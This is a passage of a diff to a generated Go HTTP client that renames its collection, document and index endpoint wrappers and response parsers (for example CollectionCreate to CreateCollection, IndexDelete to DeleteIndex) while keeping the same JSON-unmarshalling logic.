r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type DocumentInsertManyResponse struct { +type ProveDocumentResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelDocumentInsertManyResponse + JSON200 *ModelProveDocumentResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r DocumentInsertManyResponse) Status() string { +func (r ProveDocumentResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2181,22 +2022,22 @@ func (r DocumentInsertManyResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r DocumentInsertManyResponse) StatusCode() int { +func (r ProveDocumentResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type DocumentProofResponse struct { +type SearchDocumentsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelDocumentProofResponse + JSON200 *ModelSearchDocumentsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r DocumentProofResponse) Status() string { +func (r SearchDocumentsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2204,22 +2045,22 @@ func (r DocumentProofResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r DocumentProofResponse) StatusCode() int { +func (r SearchDocumentsResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type DocumentSearchResponse struct { +type UpdateDocumentResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelDocumentSearchResponse + JSON200 *ModelUpdateDocumentResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r DocumentSearchResponse) Status() string { +func (r UpdateDocumentResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2227,22 +2068,22 @@ func (r DocumentSearchResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r DocumentSearchResponse) StatusCode() int { +func (r UpdateDocumentResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type DocumentUpdateResponse struct { +type CreateIndexResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelDocumentUpdateResponse + JSON200 *ModelCreateIndexResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r DocumentUpdateResponse) Status() string { +func (r CreateIndexResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2250,22 +2091,22 @@ func (r DocumentUpdateResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r DocumentUpdateResponse) StatusCode() int { +func (r CreateIndexResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type IndexCreateResponse struct { +type DeleteIndexResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelIndexCreateResponse + JSON200 *ModelDeleteIndexResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r IndexCreateResponse) Status() string { +func (r DeleteIndexResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2273,30 +2114,7 @@ func (r IndexCreateResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r IndexCreateResponse) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -type IndexDeleteResponse struct { - Body []byte - HTTPResponse *http.Response - JSON200 *ModelIndexDeleteResponse - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r IndexDeleteResponse) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r IndexDeleteResponse) StatusCode() int { +func (r DeleteIndexResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } @@ -2354,226 +2172,201 @@ func (c *ClientWithResponses) OpenSessionWithResponse(ctx context.Context, body return ParseOpenSessionResponse(rsp) } -// CollectionCreateWithBodyWithResponse request with arbitrary body returning *CollectionCreateResponse -func (c *ClientWithResponses) CollectionCreateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CollectionCreateResponse, error) { - rsp, err := c.CollectionCreateWithBody(ctx, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseCollectionCreateResponse(rsp) -} - -func (c *ClientWithResponses) CollectionCreateWithResponse(ctx context.Context, body CollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*CollectionCreateResponse, error) { - rsp, err := c.CollectionCreate(ctx, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseCollectionCreateResponse(rsp) -} - -// CollectionDeleteWithResponse request returning *CollectionDeleteResponse -func (c *ClientWithResponses) CollectionDeleteWithResponse(ctx context.Context, params *CollectionDeleteParams, reqEditors ...RequestEditorFn) (*CollectionDeleteResponse, error) { - rsp, err := c.CollectionDelete(ctx, params, reqEditors...) - if err != nil { - return nil, err - } - return ParseCollectionDeleteResponse(rsp) -} - -// CollectionGetWithResponse request returning *CollectionGetResponse -func (c *ClientWithResponses) CollectionGetWithResponse(ctx context.Context, params *CollectionGetParams, reqEditors ...RequestEditorFn) (*CollectionGetResponse, error) { - rsp, err := c.CollectionGet(ctx, params, reqEditors...) +// GetCollectionsWithResponse request returning *GetCollectionsResponse +func (c *ClientWithResponses) GetCollectionsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetCollectionsResponse, error) { + rsp, err := c.GetCollections(ctx, reqEditors...) if err != nil { return nil, err } - return ParseCollectionGetResponse(rsp) + return ParseGetCollectionsResponse(rsp) } -// CollectionListWithBodyWithResponse request with arbitrary body returning *CollectionListResponse -func (c *ClientWithResponses) CollectionListWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CollectionListResponse, error) { - rsp, err := c.CollectionListWithBody(ctx, contentType, body, reqEditors...) +// CreateCollectionWithBodyWithResponse request with arbitrary body returning *CreateCollectionResponse +func (c *ClientWithResponses) CreateCollectionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) { + rsp, err := c.CreateCollectionWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseCollectionListResponse(rsp) + return ParseCreateCollectionResponse(rsp) } -func (c *ClientWithResponses) CollectionListWithResponse(ctx context.Context, body CollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*CollectionListResponse, error) { - rsp, err := c.CollectionList(ctx, body, reqEditors...) +func (c *ClientWithResponses) CreateCollectionWithResponse(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) { + rsp, err := c.CreateCollection(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseCollectionListResponse(rsp) + return ParseCreateCollectionResponse(rsp) } -// CollectionUpdateWithBodyWithResponse request with arbitrary body returning *CollectionUpdateResponse -func (c *ClientWithResponses) CollectionUpdateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CollectionUpdateResponse, error) { - rsp, err := c.CollectionUpdateWithBody(ctx, contentType, body, reqEditors...) +// UpdateCollectionWithBodyWithResponse request with arbitrary body returning *UpdateCollectionResponse +func (c *ClientWithResponses) UpdateCollectionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) { + rsp, err := c.UpdateCollectionWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseCollectionUpdateResponse(rsp) + return ParseUpdateCollectionResponse(rsp) } -func (c *ClientWithResponses) CollectionUpdateWithResponse(ctx context.Context, body CollectionUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*CollectionUpdateResponse, error) { - rsp, err := c.CollectionUpdate(ctx, body, reqEditors...) +func (c *ClientWithResponses) UpdateCollectionWithResponse(ctx context.Context, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) { + rsp, err := c.UpdateCollection(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseCollectionUpdateResponse(rsp) + return ParseUpdateCollectionResponse(rsp) } -// DocumentAuditWithBodyWithResponse request with arbitrary body returning *DocumentAuditResponse -func (c *ClientWithResponses) DocumentAuditWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentAuditResponse, error) { - rsp, err := c.DocumentAuditWithBody(ctx, contentType, body, reqEditors...) +// DeleteCollectionWithResponse request returning *DeleteCollectionResponse +func (c *ClientWithResponses) DeleteCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*DeleteCollectionResponse, error) { + rsp, err := c.DeleteCollection(ctx, name, reqEditors...) if err != nil { return nil, err } - return ParseDocumentAuditResponse(rsp) + return ParseDeleteCollectionResponse(rsp) } -func (c *ClientWithResponses) DocumentAuditWithResponse(ctx context.Context, body DocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentAuditResponse, error) { - rsp, err := c.DocumentAudit(ctx, body, reqEditors...) +// GetCollectionWithResponse request returning *GetCollectionResponse +func (c *ClientWithResponses) GetCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*GetCollectionResponse, error) { + rsp, err := c.GetCollection(ctx, name, reqEditors...) if err != nil { return nil, err } - return ParseDocumentAuditResponse(rsp) + return ParseGetCollectionResponse(rsp) } -// DocumentDeleteWithBodyWithResponse request with arbitrary body returning *DocumentDeleteResponse -func (c *ClientWithResponses) DocumentDeleteWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentDeleteResponse, error) { - rsp, err := c.DocumentDeleteWithBody(ctx, contentType, body, reqEditors...) +// InsertDocumentsWithBodyWithResponse request with arbitrary body returning *InsertDocumentsResponse +func (c *ClientWithResponses) InsertDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) { + rsp, err := c.InsertDocumentsWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseDocumentDeleteResponse(rsp) + return ParseInsertDocumentsResponse(rsp) } -func (c *ClientWithResponses) DocumentDeleteWithResponse(ctx context.Context, body DocumentDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentDeleteResponse, error) { - rsp, err := c.DocumentDelete(ctx, body, reqEditors...) +func (c *ClientWithResponses) InsertDocumentsWithResponse(ctx context.Context, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) { + rsp, err := c.InsertDocuments(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseDocumentDeleteResponse(rsp) + return ParseInsertDocumentsResponse(rsp) } -// DocumentInsertWithBodyWithResponse request with arbitrary body returning *DocumentInsertResponse -func (c *ClientWithResponses) DocumentInsertWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentInsertResponse, error) { - rsp, err := c.DocumentInsertWithBody(ctx, contentType, body, reqEditors...) +// AuditDocumentWithBodyWithResponse request with arbitrary body returning *AuditDocumentResponse +func (c *ClientWithResponses) AuditDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) { + rsp, err := c.AuditDocumentWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseDocumentInsertResponse(rsp) + return ParseAuditDocumentResponse(rsp) } -func (c *ClientWithResponses) DocumentInsertWithResponse(ctx context.Context, body DocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentInsertResponse, error) { - rsp, err := c.DocumentInsert(ctx, body, reqEditors...) +func (c *ClientWithResponses) AuditDocumentWithResponse(ctx context.Context, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) { + rsp, err := c.AuditDocument(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseDocumentInsertResponse(rsp) + return ParseAuditDocumentResponse(rsp) } -// DocumentInsertManyWithBodyWithResponse request with arbitrary body returning *DocumentInsertManyResponse -func (c *ClientWithResponses) DocumentInsertManyWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentInsertManyResponse, error) { - rsp, err := c.DocumentInsertManyWithBody(ctx, contentType, body, reqEditors...) +// DeleteDocumentsWithBodyWithResponse request with arbitrary body returning *DeleteDocumentsResponse +func (c *ClientWithResponses) DeleteDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) { + rsp, err := c.DeleteDocumentsWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseDocumentInsertManyResponse(rsp) + return ParseDeleteDocumentsResponse(rsp) } -func (c *ClientWithResponses) DocumentInsertManyWithResponse(ctx context.Context, body DocumentInsertManyJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentInsertManyResponse, error) { - rsp, err := c.DocumentInsertMany(ctx, body, reqEditors...) +func (c *ClientWithResponses) DeleteDocumentsWithResponse(ctx context.Context, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*DeleteDocumentsResponse, error) { + rsp, err := c.DeleteDocuments(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseDocumentInsertManyResponse(rsp) + return ParseDeleteDocumentsResponse(rsp) } -// DocumentProofWithBodyWithResponse request with arbitrary body returning *DocumentProofResponse -func (c *ClientWithResponses) DocumentProofWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentProofResponse, error) { - rsp, err := c.DocumentProofWithBody(ctx, contentType, body, reqEditors...) +// ProveDocumentWithBodyWithResponse request with arbitrary body returning *ProveDocumentResponse +func (c *ClientWithResponses) ProveDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProveDocumentResponse, error) { + rsp, err := c.ProveDocumentWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseDocumentProofResponse(rsp) + return ParseProveDocumentResponse(rsp) } -func (c *ClientWithResponses) DocumentProofWithResponse(ctx context.Context, body DocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentProofResponse, error) { - rsp, err := c.DocumentProof(ctx, body, reqEditors...) +func (c *ClientWithResponses) ProveDocumentWithResponse(ctx context.Context, body ProveDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProveDocumentResponse, error) { + rsp, err := c.ProveDocument(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseDocumentProofResponse(rsp) + return ParseProveDocumentResponse(rsp) } -// DocumentSearchWithBodyWithResponse request with arbitrary body returning *DocumentSearchResponse -func (c *ClientWithResponses) DocumentSearchWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentSearchResponse, error) { - rsp, err := c.DocumentSearchWithBody(ctx, contentType, body, reqEditors...) +// SearchDocumentsWithBodyWithResponse request with arbitrary body returning *SearchDocumentsResponse +func (c *ClientWithResponses) SearchDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) { + rsp, err := c.SearchDocumentsWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseDocumentSearchResponse(rsp) + return ParseSearchDocumentsResponse(rsp) } -func (c *ClientWithResponses) DocumentSearchWithResponse(ctx context.Context, body DocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentSearchResponse, error) { - rsp, err := c.DocumentSearch(ctx, body, reqEditors...) +func (c *ClientWithResponses) SearchDocumentsWithResponse(ctx context.Context, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) { + rsp, err := c.SearchDocuments(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseDocumentSearchResponse(rsp) + return ParseSearchDocumentsResponse(rsp) } -// DocumentUpdateWithBodyWithResponse request with arbitrary body returning *DocumentUpdateResponse -func (c *ClientWithResponses) DocumentUpdateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentUpdateResponse, error) { - rsp, err := c.DocumentUpdateWithBody(ctx, contentType, body, reqEditors...) +// UpdateDocumentWithBodyWithResponse request with arbitrary body returning *UpdateDocumentResponse +func (c *ClientWithResponses) UpdateDocumentWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateDocumentResponse, error) { + rsp, err := c.UpdateDocumentWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseDocumentUpdateResponse(rsp) + return ParseUpdateDocumentResponse(rsp) } -func (c *ClientWithResponses) DocumentUpdateWithResponse(ctx context.Context, body DocumentUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentUpdateResponse, error) { - rsp, err := c.DocumentUpdate(ctx, body, reqEditors...) +func (c *ClientWithResponses) UpdateDocumentWithResponse(ctx context.Context, body UpdateDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateDocumentResponse, error) { + rsp, err := c.UpdateDocument(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseDocumentUpdateResponse(rsp) + return ParseUpdateDocumentResponse(rsp) } -// IndexCreateWithBodyWithResponse request with arbitrary body returning *IndexCreateResponse -func (c *ClientWithResponses) IndexCreateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*IndexCreateResponse, error) { - rsp, err := c.IndexCreateWithBody(ctx, contentType, body, reqEditors...) +// CreateIndexWithBodyWithResponse request with arbitrary body returning *CreateIndexResponse +func (c *ClientWithResponses) CreateIndexWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) { + rsp, err := c.CreateIndexWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseIndexCreateResponse(rsp) + return ParseCreateIndexResponse(rsp) } -func (c *ClientWithResponses) IndexCreateWithResponse(ctx context.Context, body IndexCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*IndexCreateResponse, error) { - rsp, err := c.IndexCreate(ctx, body, reqEditors...) +func (c *ClientWithResponses) CreateIndexWithResponse(ctx context.Context, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateIndexResponse, error) { + rsp, err := c.CreateIndex(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseIndexCreateResponse(rsp) + return ParseCreateIndexResponse(rsp) } -// IndexDeleteWithBodyWithResponse request with arbitrary body returning *IndexDeleteResponse -func (c *ClientWithResponses) IndexDeleteWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*IndexDeleteResponse, error) { - rsp, err := c.IndexDeleteWithBody(ctx, contentType, body, reqEditors...) +// DeleteIndexWithBodyWithResponse request with arbitrary body returning *DeleteIndexResponse +func (c *ClientWithResponses) DeleteIndexWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DeleteIndexResponse, error) { + rsp, err := c.DeleteIndexWithBody(ctx, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseIndexDeleteResponse(rsp) + return ParseDeleteIndexResponse(rsp) } -func (c *ClientWithResponses) IndexDeleteWithResponse(ctx context.Context, body IndexDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*IndexDeleteResponse, error) { - rsp, err := c.IndexDelete(ctx, body, reqEditors...) +func (c *ClientWithResponses) DeleteIndexWithResponse(ctx context.Context, body DeleteIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*DeleteIndexResponse, error) { + rsp, err := c.DeleteIndex(ctx, body, reqEditors...) if err != nil { return nil, err } - return ParseIndexDeleteResponse(rsp) + return ParseDeleteIndexResponse(rsp) } // ParseCloseSessionResponse parses an HTTP response from a CloseSessionWithResponse call @@ -2675,55 +2468,22 @@ func ParseOpenSessionResponse(rsp *http.Response) (*OpenSessionResponse, error) return response, nil } -// ParseCollectionCreateResponse parses an HTTP response from a CollectionCreateWithResponse call -func ParseCollectionCreateResponse(rsp *http.Response) (*CollectionCreateResponse, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &CollectionCreateResponse{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelCollectionCreateResponse - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} - -// ParseCollectionDeleteResponse parses an HTTP response from a CollectionDeleteWithResponse call -func ParseCollectionDeleteResponse(rsp *http.Response) (*CollectionDeleteResponse, error) { +// ParseGetCollectionsResponse parses an HTTP response from a GetCollectionsWithResponse call +func ParseGetCollectionsResponse(rsp *http.Response) (*GetCollectionsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &CollectionDeleteResponse{ + response := &GetCollectionsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelCollectionDeleteResponse + var dest ModelGetCollectionsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2741,22 +2501,22 @@ func ParseCollectionDeleteResponse(rsp *http.Response) (*CollectionDeleteRespons return response, nil } -// ParseCollectionGetResponse parses an HTTP response from a CollectionGetWithResponse call -func ParseCollectionGetResponse(rsp *http.Response) (*CollectionGetResponse, error) { +// ParseCreateCollectionResponse parses an HTTP response from a CreateCollectionWithResponse call +func ParseCreateCollectionResponse(rsp *http.Response) (*CreateCollectionResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &CollectionGetResponse{ + response := &CreateCollectionResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelCollectionGetResponse + var dest ModelCreateCollectionResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2774,22 +2534,22 @@ func ParseCollectionGetResponse(rsp *http.Response) (*CollectionGetResponse, err return response, nil } -// ParseCollectionListResponse parses an HTTP response from a CollectionListWithResponse call -func ParseCollectionListResponse(rsp *http.Response) (*CollectionListResponse, error) { +// ParseUpdateCollectionResponse parses an HTTP response from a UpdateCollectionWithResponse call +func ParseUpdateCollectionResponse(rsp *http.Response) (*UpdateCollectionResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &CollectionListResponse{ + response := &UpdateCollectionResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelCollectionListResponse + var dest ModelUpdateCollectionResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2807,22 +2567,22 @@ func ParseCollectionListResponse(rsp *http.Response) (*CollectionListResponse, e return response, nil } -// ParseCollectionUpdateResponse parses an HTTP response from a CollectionUpdateWithResponse call -func ParseCollectionUpdateResponse(rsp *http.Response) (*CollectionUpdateResponse, error) { +// ParseDeleteCollectionResponse parses an HTTP response from a DeleteCollectionWithResponse call +func ParseDeleteCollectionResponse(rsp *http.Response) (*DeleteCollectionResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &CollectionUpdateResponse{ + response := &DeleteCollectionResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelCollectionUpdateResponse + var dest ModelDeleteCollectionResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2840,22 +2600,22 @@ func ParseCollectionUpdateResponse(rsp *http.Response) (*CollectionUpdateRespons return response, nil } -// ParseDocumentAuditResponse parses an HTTP response from a DocumentAuditWithResponse call -func ParseDocumentAuditResponse(rsp *http.Response) (*DocumentAuditResponse, error) { +// ParseGetCollectionResponse parses an HTTP response from a GetCollectionWithResponse call +func ParseGetCollectionResponse(rsp *http.Response) (*GetCollectionResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &DocumentAuditResponse{ + response := &GetCollectionResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDocumentAuditResponse + var dest ModelGetCollectionResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2873,22 +2633,22 @@ func ParseDocumentAuditResponse(rsp *http.Response) (*DocumentAuditResponse, err return response, nil } -// ParseDocumentDeleteResponse parses an HTTP response from a DocumentDeleteWithResponse call -func ParseDocumentDeleteResponse(rsp *http.Response) (*DocumentDeleteResponse, error) { +// ParseInsertDocumentsResponse parses an HTTP response from a InsertDocumentsWithResponse call +func ParseInsertDocumentsResponse(rsp *http.Response) (*InsertDocumentsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &DocumentDeleteResponse{ + response := &InsertDocumentsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDocumentDeleteResponse + var dest ModelInsertDocumentsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2906,22 +2666,22 @@ func ParseDocumentDeleteResponse(rsp *http.Response) (*DocumentDeleteResponse, e return response, nil } -// ParseDocumentInsertResponse parses an HTTP response from a DocumentInsertWithResponse call -func ParseDocumentInsertResponse(rsp *http.Response) (*DocumentInsertResponse, error) { +// ParseAuditDocumentResponse parses an HTTP response from a AuditDocumentWithResponse call +func ParseAuditDocumentResponse(rsp *http.Response) (*AuditDocumentResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &DocumentInsertResponse{ + response := &AuditDocumentResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDocumentInsertResponse + var dest ModelAuditDocumentResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2939,22 +2699,22 @@ func ParseDocumentInsertResponse(rsp *http.Response) (*DocumentInsertResponse, e return response, nil } -// ParseDocumentInsertManyResponse parses an HTTP response from a DocumentInsertManyWithResponse call -func ParseDocumentInsertManyResponse(rsp *http.Response) (*DocumentInsertManyResponse, error) { +// ParseDeleteDocumentsResponse parses an HTTP response from a DeleteDocumentsWithResponse call +func ParseDeleteDocumentsResponse(rsp *http.Response) (*DeleteDocumentsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &DocumentInsertManyResponse{ + response := &DeleteDocumentsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDocumentInsertManyResponse + var dest ModelDeleteDocumentsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2972,22 +2732,22 @@ func ParseDocumentInsertManyResponse(rsp *http.Response) (*DocumentInsertManyRes return response, nil } -// ParseDocumentProofResponse parses an HTTP response from a DocumentProofWithResponse call -func ParseDocumentProofResponse(rsp *http.Response) (*DocumentProofResponse, error) { +// ParseProveDocumentResponse parses an HTTP response from a ProveDocumentWithResponse call +func ParseProveDocumentResponse(rsp *http.Response) (*ProveDocumentResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &DocumentProofResponse{ + response := &ProveDocumentResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDocumentProofResponse + var dest ModelProveDocumentResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -3005,22 +2765,22 @@ func ParseDocumentProofResponse(rsp *http.Response) (*DocumentProofResponse, err return response, nil } -// ParseDocumentSearchResponse parses an HTTP response from a DocumentSearchWithResponse call -func ParseDocumentSearchResponse(rsp *http.Response) (*DocumentSearchResponse, error) { +// ParseSearchDocumentsResponse parses an HTTP response from a SearchDocumentsWithResponse call +func ParseSearchDocumentsResponse(rsp *http.Response) (*SearchDocumentsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &DocumentSearchResponse{ + response := &SearchDocumentsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDocumentSearchResponse + var dest ModelSearchDocumentsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -3038,22 +2798,22 